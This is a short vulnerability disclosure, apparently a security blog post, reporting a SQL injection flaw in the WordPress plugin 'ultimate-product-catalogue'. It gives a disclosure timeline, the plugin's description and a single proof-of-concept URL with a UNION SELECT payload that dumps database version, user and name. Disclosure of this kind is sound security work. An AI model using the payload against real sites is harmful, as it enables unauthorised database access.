wp-plugin : ultimate-product-catalogue – A1-Injection

 

Plugin Details

 

Plugin Name : ultimate-product-catalogue

 

Effected Version : (and most probably lower version's if any)

 
Vulnerability : A1-Injection
 
Identified by : Anant Shrivastava

 

 

Technical Details

 

Minimum Level of Access Required : Administrator

 

PoC - (Proof of Concept) :

 

http://localhost/wp-admin/admin.php?page=UPCP-options&Action=Catalogue_Details&Selected=Catalogue&Catalogue_ID=2%20union%20select%20@@version,user(),system_user(),database(),5,6,7

 

Vulnerable Parameters : Catalogue_ID,SubCategory_ID,SingleProduct,Tag_ID

 

Trac ChangeLog : https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&new=830454%40ultimate-product-catalogue&old=821581%40ultimate-product-catalogue&sfp_email=&sfph_mail=#file2

 

 

 

Disclosure Timeline

 

Vendor Contacted : 2013-12-28

 
Plugin Status : Updated
 
Public Disclosure : May 28, 2014
 
CVE Number : Not assigned yet

 
Plugin Description :
 
Displays a product catalogue or menu for your store, restaurant, group, etc. Has three default responsive layouts and can accept custom CSS.

You can use categories, sub-categories and tags to make your products easy to sort through for your visitors.
You can also use categories and sub-categories in your catalogue(s) to make it easy to keep them up to date.

[youtube http://www.youtube.com/watch?v=z6XL7whjY1Q]

Key Features:

* 3 default layout formats, users can tab between them
* Fully customizable via CSS
* SEO friendly single product pages
* UTF8 support
* Drag-and-drop to re-order your catalogues
* Upload products from a spreadsheet
* Change starting layout by setting the "starting_layout" attribute
* Exclude one or more layouts by using the "excluded_layouts" attribute (accepts a comma-separated list)
* Options page lets you customize a number of a options

To get the most out of the Ultimate Product Catalogue Plugin, FancyBox for WordPress is required (http://wordpress.org/plugins/fancybox-for-wordpress/).
If FancyBox for WordPress isn't installed, individual products will be displayed on their own pages.

Tutorial videos available in the FAQ section.

Additional Languages:
- Brazilian Portugese (thanks to Tito_Cadallora);
- Canadian French (thanks to Pascale DRP)
- Lithuanian (thanks to AdArt);

Leave a Reply

Your email address will not be published. Required fields are marked *